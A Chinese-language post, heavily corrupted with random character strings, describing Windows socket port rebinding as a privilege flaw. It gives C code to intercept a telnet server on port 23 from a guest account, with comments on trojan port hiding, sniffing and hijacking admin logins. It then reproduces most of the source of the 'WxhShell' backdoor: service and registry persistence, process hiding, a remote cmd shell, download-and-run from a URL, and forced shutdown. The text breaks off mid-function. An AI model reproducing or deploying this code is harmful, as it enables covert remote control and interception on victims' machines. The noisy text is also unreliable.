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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tZN'OoZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cG4$)q;q &}b-aAt saddr.sin_family = AF_INET; I~>Ye<g# IUwMIHq&sW saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ehg(xK f5vsxP)Y[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :cE~\BS& Kw&t\},8@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I:o.%5) @l@erCw@ 这意味着什么?意味着可以进行如下的攻击: w7Vl,pN, JrwR:_+| 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~d&W;mef- 9,[AfI 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <$??Z;6 Q^bYx (r5w 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 foUB/&Ee 1my1m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -&l%CR,U z(Z7[#. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %n6NVi_[ 8([ MR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E0AbVa.
z69u@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&Ufp8[ }U ' #include bYO['ORr@ #include k~F;G=P #include /DjsnU~3 #include 7>= DWORD WINAPI ClientThread(LPVOID lpParam); 3N5@<:2` int main() D?=4'"@v
{ @]!9;?so WORD wVersionRequested; zz!jt
A DWORD ret; `~z[Hj=2 WSADATA wsaData; N0%q66]1 BOOL val; --EDr>'D5P SOCKADDR_IN saddr; *?\u5O( SOCKADDR_IN scaddr; mx#%oJnsi int err; E*h!{)z@F SOCKET s; A{e>7Z72 SOCKET sc; e{9~m int caddsize; 0'
oXA'L-J HANDLE mt; '4_c;](W DWORD tid; na|sKE;{ wVersionRequested = MAKEWORD( 2, 2 ); N6v?Qzvi err = WSAStartup( wVersionRequested, &wsaData ); &>B"/z if ( err != 0 ) { z(>QGzyc printf("error!WSAStartup failed!\n"); "iR:KW@ return -1; G$2@N6 } 3H0B+F2XQ saddr.sin_family = AF_INET; ^/6P~iK' zvVo-{6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `a!9_%|8 PXqG;o*Q*? saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +g kJrw saddr.sin_port = htons(23); ec`re+1r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :w!hkUx# { uT'l.*W6i printf("error!socket failed!\n"); zhm 0J-g return -1; DIw_"$'At } EZN!3y| m val = TRUE;
46pR!k //SO_REUSEADDR选项就是可以实现端口重绑定的 Fe4>G8uuwn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JlRNJ#h> { OmfHrlA printf("error!setsockopt failed!\n"); -GB,g=Dk return -1; U^)`_\/;? } lU$0e09 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; W* v3B. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `Nz`5}8.? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eC6wrpZO ;7H^;+P if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "d}ey=$h4 { 4HGS ret=GetLastError(); _nX8f
& printf("error!bind failed!\n"); :c8d([)$ return -1; 7+X~i@#rU } 44YKS>Cq listen(s,2); A
McZm0c` while(1) !3DY# { 0O]v| caddsize = sizeof(scaddr); IAe/) //接受连接请求 I6@"y0I sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 88?O4)c if(sc!=INVALID_SOCKET) %@TC-
xx { DpT$19Q+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %p&y/^=0I if(mt==NULL) _.BT%4 { N&Ho$,2s printf("Thread Creat Failed!\n"); ?gjx7TQ? break; tp&|*M3 } =]"I0G-s! } MQ0rln? CloseHandle(mt); )Z['=+s% } e:C4f closesocket(s); u3tT=5.D WSACleanup(); u-mD" return 0; [8[<4~{ } {0-rnSjC DWORD WINAPI ClientThread(LPVOID lpParam) )E^4U9v), { jcBZ#|B7; SOCKET ss = (SOCKET)lpParam; 3Z&!zSK^ SOCKET sc; y%kZ## unsigned char buf[4096]; $z 5kA9 SOCKADDR_IN saddr; \/V#,O long num; !H9^j6| DWORD val; QgQ$> DWORD ret; ~<s^HP2U{ //如果是隐藏端口应用的话,可以在此处加一些判断 =_ b/g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 d2-oy5cEB saddr.sin_family = AF_INET; #Q*V9kvU/H saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); oDi+\0 saddr.sin_port = htons(23); ,wBfGpVb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hCd? Kti { HiH<'m"\. printf("error!socket failed!\n"); w1aoEo "S return -1; Dh`&B } d=bKNA90 val = 100; #-YbZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %q|*}l { AVjRhe ret = GetLastError(); ^rfR<Q` return -1; enPtW } HVA:|Z19 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u;9iuc`* { Xi"9y @ ret = GetLastError(); }K 'A/]' return -1; q*lk9{> } `>\
~y1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d"n>Q Tn\ { h
i!K-_Uy printf("error!socket connect failed!\n"); dsw^$R} closesocket(sc); {BlTLAKm closesocket(ss); --y,ky# return -1; fwt+$`n } Ru`afjc while(1) P4"BX*x { aW:*!d# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I`B ZZ- //如果是嗅探内容的话,可以再此处进行内容分析和记录 0(c,J$I]Z! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w@2NXcmw num = recv(ss,buf,4096,0); ^) s6`: if(num>0) NblPVxS send(sc,buf,num,0); :@&e~QP( else if(num==0) 8ZV!ld break; A?HDY_u num = recv(sc,buf,4096,0); '2l[~T$* if(num>0) hFoeVM[h send(ss,buf,num,0); Z .`+IN(>E else if(num==0) v89tV9O) break; c)Q-yPMl) } _@\-`>J closesocket(ss); }c8e t'HYf closesocket(sc); UBv#z&@[ return 0 ; SgQmR#5 } /tkV/ g NE"z g[b;1$ ========================================================== dn~k_J=p _Hq)@AI 下边附上一个代码,,WXhSHELL hT=E~|O ?jO<<@*2S ========================================================== %A
`9[icy $!'Vn)Z7 #include "stdafx.h" f
4K)Z
e I&8!V)r) #include <stdio.h> Y]&2E/oc #include <string.h> :ldI1*@i< #include <windows.h> uG.` #include <winsock2.h> R,!aX"]| #include <winsvc.h> Ey&A\ #include <urlmon.h> B_c-@kl vO zUAi #pragma comment (lib, "Ws2_32.lib") sN[<{;K4 #pragma comment (lib, "urlmon.lib") xjDaA U, 7'.6/U #define MAX_USER 100 // 最大客户端连接数 v{SYz<( #define BUF_SOCK 200 // sock buffer ]R"n+LnI:= #define KEY_BUFF 255 // 输入 buffer _}H`(d%N OJ\j6owA #define REBOOT 0 // 重启 k~Y_%#_
#define SHUTDOWN 1 // 关机 c@O7,y:`I &fxyY( #define DEF_PORT 5000 // 监听端口 &~)1mnv. BYI13jMH+Y #define REG_LEN 16 // 注册表键长度 I7#+B1t #define SVC_LEN 80 // NT服务名长度 65c#he[_Y (a|Wq{`[ // 从dll定义API lt l(SIi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]waCYrG<sY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "aGpC{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t2-bw6U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P-N+ 7:)$oH // wxhshell配置信息 wqn}t] struct WSCFG { xe1xP@e? int ws_port; // 监听端口 SI l<\ char ws_passstr[REG_LEN]; // 口令 BjUz"69 int ws_autoins; // 安装标记, 1=yes 0=no ;fY)7
' char ws_regname[REG_LEN]; // 注册表键名 sv>c)L}I char ws_svcname[REG_LEN]; // 服务名 <Y#EiC. char ws_svcdisp[SVC_LEN]; // 服务显示名 WB|SXto%4D char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~gbq^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j0K}nS\ P int ws_downexe; // 下载执行标记, 1=yes 0=no X?] 1/6rV char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r`=!4vY2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I^y,@EHR A!5)$>!o }; y$pT5X G h3L{zOff // default Wxhshell configuration <j89HtCz struct WSCFG wscfg={DEF_PORT, @7B!(Q "xuhuanlingzhe", g~=#8nJ 1, n&uD=- "Wxhshell", 8h7z "Wxhshell", (/l9@0Y.t "WxhShell Service", {-Y% wM8<i "Wrsky Windows CmdShell Service", (}n,Ou[ "Please Input Your Password: ", )=!|^M 1, }&]T0U`@ " http://www.wrsky.com/wxhshell.exe", braI MIQ` "Wxhshell.exe" ]l"9B'XR }; "g/UpnH |+Xh ^E // 消息定义模块 {5 3#Xd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5'[yw:P-8 char *msg_ws_prompt="\n\r? for help\n\r#>"; #@F char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; sRQ4pnnrn char *msg_ws_ext="\n\rExit."; Knp}88DR^j char *msg_ws_end="\n\rQuit."; %r@:7/ char *msg_ws_boot="\n\rReboot..."; 0S\HO<~k char *msg_ws_poff="\n\rShutdown..."; 3x=NSe|f char *msg_ws_down="\n\rSave to "; aqgm Hn]6re char *msg_ws_err="\n\rErr!"; keJ-ohv) char *msg_ws_ok="\n\rOK!"; O`_]n v?o("I[ C char ExeFile[MAX_PATH]; JmuoYl f| int nUser = 0; t'DIKug& HANDLE handles[MAX_USER]; ?Hbi[YD int OsIsNt; F~3 &@TWi d3 p;[;` SERVICE_STATUS serviceStatus; DCgiTT\ SERVICE_STATUS_HANDLE hServiceStatusHandle; T'7x,8&2| scZ'/(b-E // 函数声明 W|6.gN] int Install(void); XRn+6fn| int Uninstall(void); wEEFpn_ int DownloadFile(char *sURL, SOCKET wsh); h=_h,?_ int Boot(int flag); o2^?D`Jr void HideProc(void); 9QkIMJf0e int GetOsVer(void); CM+wkU ?, int Wxhshell(SOCKET wsl); `4"&_ltD void TalkWithClient(void *cs); xKoNo^ FF int CmdShell(SOCKET sock); `(L<Q% int StartFromService(void); @_?8I_\: int StartWxhshell(LPSTR lpCmdLine); mh~n#bah @"`{Sh`Y$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ay\!ohIS3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); `pXC= []B2 pl.=u0 * // 数据结构和表定义 mW U*}-M SERVICE_TABLE_ENTRY DispatchTable[] = hN_,Vyf { dUpOg{I.x {wscfg.ws_svcname, NTServiceMain}, >V3pYRA {NULL, NULL} ]TKM.[[ }; e7gWz~ O[#B906JB // 自我安装 Y&DC5T] int Install(void) :6Sb3w5h { FZtILlw char svExeFile[MAX_PATH]; ctL,Mqr\Z HKEY key; evHKq}{ strcpy(svExeFile,ExeFile); vM2\tL@" ~TALpd // 如果是win9x系统,修改注册表设为自启动 O:G-I$F| if(!OsIsNt) { -\=kd {*B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mH09*
Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rDWqJ<8 RegCloseKey(key); (#k2S-5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'D;'Pr] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }[I|oV5*+& RegCloseKey(key); )haHI)xR return 0; kzb1iBe 6m } We,~P\g } Qws#v}xF } ni x1_Wo; else { :S
|) zos#B30 // 如果是NT以上系统,安装为系统服务 ,b8q$R~\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2*1s(Jro if (schSCManager!=0) 6~v|pA jY { goV[C]| SC_HANDLE schService = CreateService 1 ~#p3)B ( s*DDO67\W schSCManager, JMq00_ wscfg.ws_svcname, bbU{ />yW wscfg.ws_svcdisp, ,M&[c| SERVICE_ALL_ACCESS, i
bwnK?ZA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jVpk) ;vC SERVICE_AUTO_START, URD<KIN> SERVICE_ERROR_NORMAL, OVm
$ svExeFile, Tfl4MDZb NULL, UN}jpu<h NULL, <ctn_"p Z NULL, VJeN
m3WNb NULL, RT)*H>| NULL :#QYwb~ ); @"#W\m8 if (schService!=0) =/rIXReY { <99Xg_e CloseServiceHandle(schService); \i=,[8t[r CloseServiceHandle(schSCManager); YFCP'J"Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bG0t7~!{E strcat(svExeFile,wscfg.ws_svcname); QpPJ99B| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /*bS~7f1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kj_hCSvf3e RegCloseKey(key); "oYyeT
,? return 0; e/m,PE } >]k'3|vV } Wb"*9q06 CloseServiceHandle(schSCManager); WKQVT I&A. } zZ|Si } qlSc[nEk {7)D/WY5 return 1; _e=R[ } +QIM~tt) |.Bb Pfe8f // 自我卸载 xaWm wsym int Uninstall(void) _1`*&k
JL~ { H\2+cAFN# HKEY key; 31y=Ar"" yk9|H)-z if(!OsIsNt) {
S ;x;FU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5yO6szg RegDeleteValue(key,wscfg.ws_regname); k|,pj^ RegCloseKey(key); ,?&hqM\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $Fr2oSTT) RegDeleteValue(key,wscfg.ws_regname); $6y1';A RegCloseKey(key); iZjvO`@[ return 0; )%^ oR5W } J|xqfY@+ } bO2$0!=I } 6Ir
?@O1'! else { +e?ixvld TqQ>\h"&_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :hMuxHr if (schSCManager!=0) TP^.]IO- { WX0@H[$i# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d+&V^qLJ if (schService!=0) $u3N ',& { ).ugMuk if(DeleteService(schService)!=0) { :nwcO3~` CloseServiceHandle(schService); 3I"&Qp%2 CloseServiceHandle(schSCManager); -q+Fj;El return 0; <CA
lJ } a?JU( CloseServiceHandle(schService); M/1Q/;0P } ahV_4;yF CloseServiceHandle(schSCManager); hlUF9} } .5dZaI) } >Mvt;'c |_w*:NCV5 return 1; .IKK.G } -9aht}Z nmSpNkJ5 // 从指定url下载文件 o1n c.2/0J int DownloadFile(char *sURL, SOCKET wsh) $iP#8La:Y { g` h>:5] HRESULT hr; Mb<KZ_wYOX char seps[]= "/"; gH_r'j char *token; Aga7X@fV( char *file; ;l`8w3fDt char myURL[MAX_PATH]; mR0@R;,p char myFILE[MAX_PATH]; -Z;:_"&9 o<g (%ncr strcpy(myURL,sURL); +6;OB@ token=strtok(myURL,seps); N7;E 2 X while(token!=NULL) D:F!;n9 { 8wy"m=>=b} file=token; CI @I token=strtok(NULL,seps); He]F~GXP } p[/n[@<8= EAq >v
t83 GetCurrentDirectory(MAX_PATH,myFILE); HFDg@@ strcat(myFILE, "\\"); '8Gw{&& strcat(myFILE, file); @> Ghfh>~D send(wsh,myFILE,strlen(myFILE),0); TjUZv 1(L send(wsh,"...",3,0); ('**nP
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =tc`:!$ if(hr==S_OK) Z&]+A, return 0; ~0F9x9V else mfngbFa1 return 1; Cl9SPz [7e{=\`= } Qp kKVLi q+A<g(Xu // 系统电源模块 L_THU4^j
int Boot(int flag) aF&r/j+}o { :DtZ8$I`]C HANDLE hToken; +cz"`T`X 2 TOKEN_PRIVILEGES tkp; V!T^wh; je&dioZ> if(OsIsNt) { 2BoFyL* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r{t.c?/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <i\UMrD]`: tkp.PrivilegeCount = 1; 42rj6m\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gw
~{V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6gj]y^} if(flag==REBOOT) { Pm$F2YrO3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) { 1+Cw?1d return 0; eWb0^8_ } S~+O`y^ else { 5;IT64&] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Ja)<!]< return 0; F>(qOH.I } Mw/?wtW } =yl4zQmg$ else { 2 dHM if(flag==REBOOT) { WMW1B}Z3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r?fH
&u return 0; #v{ Y=$L } PeO] lq else { wk" l[cH> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V?OuIg%=: return 0; b<[jaI0 } iJFr4o/R } >BBl7 2zz,(RA return 1; q[-|ZA bbr } Eu|sWdmf
l 538fK9[ // win9x进程隐藏模块 G3G/xC" void HideProc(void) Z+ixRch@-s { KacR?Al djWcbC=g_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]fj- `== if ( hKernel != NULL ) 1Q]Rd { =-_)$GOI' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R,%_deV\( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^EF'TO$ FreeLibrary(hKernel); $*k)|4 } c7\VTYT GD!-
qH return; o+NMA
( } |XRImeF'd >-M ]:=L // 获取操作系统版本 vYdR ht\( int GetOsVer(void) (?vK_{ { P^pFqUL7# OSVERSIONINFO winfo; 1]T|6N? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9t?L\ GetVersionEx(&winfo); YGp)Oy}: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PnA?+u2m return 1; -p`L%xj\ else %m eLW& return 0; eZH~je{1 } XV>@B $hu pISp*& // 客户端句柄模块 zC=a3 int Wxhshell(SOCKET wsl) %D`o { m2xBS!fm SOCKET wsh; oZN'HT struct sockaddr_in client; 0}]SUe^ DWORD myID; E)W@{?.o# (u&`Ij9 while(nUser<MAX_USER) w_Uh { 9pLg+6O int nSize=sizeof(client); r8[T&z@_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dz-y}J11 if(wsh==INVALID_SOCKET) return 1; ys8Q.oBv_` iidT~l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O,s. D,S if(handles[nUser]==0) aC!EWgwW[ closesocket(wsh); BMFF= else I[d]!YI}F nUser++; F}Srn;V } \+m$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)h_8vO2 <+v{GF#R return 0; ^zr^ N?a } XRtD< jlA" nlc.u}# // 关闭 socket iPj~I void CloseIt(SOCKET wsh) e,gyQjJR { eSfnB_@x2 closesocket(wsh); DHw<%Z-J nUser--; !wE}(0BTx ExitThread(0); 3n]79+w@z } CvDxq:x `@Oa lg // 客户端请求句柄 56}X/u void TalkWithClient(void *cs) .0p^W9 { IG ~`i I ZDt?j SOCKET wsh=(SOCKET)cs; ]a'99^?\ char pwd[SVC_LEN]; vB0RKk}d5 char cmd[KEY_BUFF]; *ZrSiIPP char chr[1]; pUYM}&dX int i,j; l'[A?%L%{ A8r^)QJP{ while (nUser < MAX_USER) { Ib=x~za@n o\VUD if(wscfg.ws_passstr) { V3Z]DA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ino:N5&;; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fmX!6Kv //ZeroMemory(pwd,KEY_BUFF); G1o3l~x i=0; _tYx~J2.Q while(i<SVC_LEN) { _Nqt21sL !;KCU^9 // 设置超时 ;n&t>pBM fd_set FdRead; A}3=561F?5 struct timeval TimeOut; Y\$ySvZ0 FD_ZERO(&FdRead); Yi$vg FD_SET(wsh,&FdRead); *U
P@9D TimeOut.tv_sec=8; v#U"pn|M TimeOut.tv_usec=0; N _86t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '*"vkgN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a
0GpfW$t C<m{*C-`a if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yd#/1!A7u pwd =chr[0]; Jc|6& if(chr[0]==0xd || chr[0]==0xa) { <U!`J[n% pwd=0; RM!<8fXYD break; d ysC4DS } LQngK7> i++; !g(KK|`,m } 4DL) rkO \kU &^Hi // 如果是非法用户,关闭 socket 2-C!jAfd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !>zo_fP } vM*($qpAy oaoU _V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8>WC5%f* send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ecCr6) #nK>Z[ while(1) { +gJ8{u!=k LYaZ1* ZeroMemory(cmd,KEY_BUFF); }l],.J\BGX }}>q2y // 自动支持客户端 telnet标准 A .EbXo/ j=0; dVi!Q@y+ while(j<KEY_BUFF) { Fpa_qjL; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n=c
2Kc cmd[j]=chr[0]; y6[If cN if(chr[0]==0xa || chr[0]==0xd) { k $fGom cmd[j]=0; 9XHz-+bQ break; m "M("% } a3VM' j++; Z1h] } sT/c_^y #!9S}b$ // 下载文件 rx5B=M if(strstr(cmd,"http://")) { NziZTU} send(wsh,msg_ws_down,strlen(msg_ws_down),0); $&=p+ if(DownloadFile(cmd,wsh)) &%2*Wu; send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|rg;`AW else F*Z=<]<+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bO;(bE m@ } a2f^x@0k else { N6T{ QnI.zq
V switch(cmd[0]) { =rd|0K"(r ph}j[Co // 帮助 JI/_ce case '?': { pCu!l#J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +'G0 {;b break; Y'Z+, CNf } -U>7
H`5 // 安装 q2_`v5t case 'i': { 2 Y|D'^ if(Install()) LQ-6vrbs send(wsh,msg_ws_err,strlen(msg_ws_err),0); %HSl)zEo>C else idJh^YD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Ay3u^X break; ~F#A
Pt } Cj&$%sO1 // 卸载 -{9Gagy2& case 'r': { >Wh3MG6 if(Uninstall()) FBsn;,3<W send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;-2$
77 else agaq`^[(P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @+^c"=d1S break; H_X?dj15 } ;o$;Z4:.D // 显示 wxhshell 所在路径 HR3_@^<7 case 'p': { " OGdE_E char svExeFile[MAX_PATH]; ma9ADFFT strcpy(svExeFile,"\n\r"); !*P&Eat strcat(svExeFile,ExeFile); JCQ:+eqt send(wsh,svExeFile,strlen(svExeFile),0); Sl.o,W^ break; ?mOg@) wx } 8Inx/>eOI // 重启 tF`MT%{Va case 'b': { JIUtj7HQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z5>V{o if(Boot(REBOOT)) IT1PPm send(wsh,msg_ws_err,strlen(msg_ws_err),0); M7VID6J. else { ozxYH], closesocket(wsh); >38
Lt\ ExitThread(0); n+quSF) } e}Q>\t45 break; <bdyAUeFw } UE)fUTS // 关机 SOH%Q_ case 'd': { >h[(w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XOxB
(0@ if(Boot(SHUTDOWN)) 6F`\YSn+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-G b"hr else { qG^_c;l6a closesocket(wsh); Xb+3Xn0}&8 ExitThread(0); jvO3_Zt9 } 3G&0Ciet break; x(vai1CrdH } fN0bIE
Y // 获取shell u 6(GM case 's': { ss;
5C:*y CmdShell(wsh); b8cVnP closesocket(wsh); ?{j@6, ExitThread(0); 0h:G4 break; (+x]##Q } 1$OVe4H1 // 退出 (0g7-Ci case 'x': { ~T&%
VvI send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <p)Z/ CloseIt(wsh); hA5,w_G/ break; SJOmeN}4) } ,$BgR2^ // 离开 T\cR2ZT~ case 'q': { k)i"tpw send(wsh,msg_ws_end,strlen(msg_ws_end),0); S" {GlRpd closesocket(wsh); FbBX}n WSACleanup(); Dh?vU~v(6 exit(1); 4$F:NW,v:) break; W'V@ } [NZ-WU&&LP } 0IpST } +
lP5XY{ )ZN(2z // 提示信息 %awVVt{aG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHHzCKE , } 33,;iE } 1N>6rN o|+E+l9\ return; joY1(Y } +!Q!m 3/I :;q>31:h // shell模块句柄 s><IykIi int CmdShell(SOCKET sock) PK_Fx';ke^ { 6{ C Fe|XN STARTUPINFO si; e/ WBgiLw ZeroMemory(&si,sizeof(si)); {vLTeIxf.G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G{/; AK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v&e-`.xR PROCESS_INFORMATION ProcessInfo; C(xqvK~p char cmdline[]="cmd"; b#Jo Xa9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jzMhJ return 0; 'xQna+ %h } EZ..^M3 Q6eN+i2 ; // 自身启动模式 Y:rJK|m int StartFromService(void) 0GS{F8f~, { - J{Dxz typedef struct Mp^^!AP 9 { [k!-;mi DWORD ExitStatus; DgC3>
yL DWORD PebBaseAddress; Go-wAJ> DWORD AffinityMask; A S`2=w DWORD BasePriority; zjea4>!A2 ULONG UniqueProcessId; t3pZjdLJd ULONG InheritedFromUniqueProcessId; j p! } PROCESS_BASIC_INFORMATION; t'dHCp} i5.?g <.H PROCNTQSIP NtQueryInformationProcess; ~5FS|[1L g[m3IJzq static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <9ePi9D( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O~$ {&( >g>f;\mD7$ HANDLE hProcess; y>>vGU; PROCESS_BASIC_INFORMATION pbi; @>M8Pe UCe,2v% HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P{"WlJ if(NULL == hInst ) return 0; u+I3IdU3 <sgZ3*,A g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jK\V|5k g_pGetModuleBaseName = 